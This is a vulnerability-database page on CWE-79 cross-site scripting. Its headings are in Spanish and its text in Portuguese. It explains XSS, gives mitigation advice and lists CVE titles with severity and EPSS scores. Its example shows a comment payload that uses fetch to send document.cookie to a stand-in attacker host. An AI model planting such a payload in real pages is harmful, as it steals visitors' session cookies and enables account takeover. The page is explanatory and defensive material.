Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4001MEDIUMDownload Manager <= 3.2.93 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpdm_modal_login_form ShortcodeEPSS 0.3%CVE-2024-56261MEDIUMWordPress Project Showcase plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4451MEDIUMColibri Page Builder <= 1.0.276 - Authenticated (Contributor+) Stored Cross-Site Scripting via colibri_video_player ShortcodeEPSS 0.3%CVE-2024-9066MEDIUMMarketing and SEO Booster <= 1.9.10 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2026-82646MEDIUMWWBN AVideo Unauthenticated Reflected XSS via url2Embed.json.phpEPSS 0.3%CVE-2024-37432MEDIUMWordPress Esteem theme <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-9746MEDIUMCampcodes Hospital Management System Edit Doctor Specialization edit-doctor-specialization.php cross site scriptingEPSS 0.3%CVE-2024-4042MEDIUMPost Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel - Combo Blocks <= 2.2.80 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributeEPSS 0.3%CVE-2024-4208MEDIUMGutenberg Blocks by Kadence Blocks – Page Builder Features <= 3.2.37 - Authenticated (Contributor+) Stored Cross-Site Scripting via Typer EffectEPSS 0.3%CVE-2024-7144MEDIUMJetElements <= 2.6.20 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-97322MEDIUMYunaiV/zhijiantianya ruoyi-vue-pro File Upload FileController.java cross site scriptingEPSS 0.3%CVE-2026-82868MEDIUM@pdfme/schemas before 5.5.9 Cross-Site Scripting via SVGEPSS 0.3%CVE-2023-6495MEDIUMYARPP – Yet Another Related Posts Plugin <= 5.30.9 - Authenticated(Administrator+) Cross-Site ScriptingEPSS 0.3%CVE-2026-120339MEDIUMmathurvishal CloudClassroom-PHP-Project updatedetailsfromfaculty.php cross site scriptingEPSS 0.3%CVE-2026-77088MEDIUMjusthtml 0.9.0 through 1.21.0 Cross-Site Scripting via code-spanEPSS 0.3%CVE-2026-108932MEDIUMNetcore NR268 DHCP Hostname filter_hosts_dump.cgi eval cross site scriptingEPSS 0.3%CVE-2026-80190MEDIUMApache Allura: Stored XSS via code repositoriesEPSS 0.3%CVE-2026-9413MEDIUMSourceCodester Indian Invoicing System category.php cross site scriptingEPSS 0.3%CVE-2026-84191MEDIUMLibreNMS before 26.5.0 Stored XSS via SNMP VRF fieldsEPSS 0.3%CVE-2024-13559MEDIUMTemplatesNext ToolKit <= 3.2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%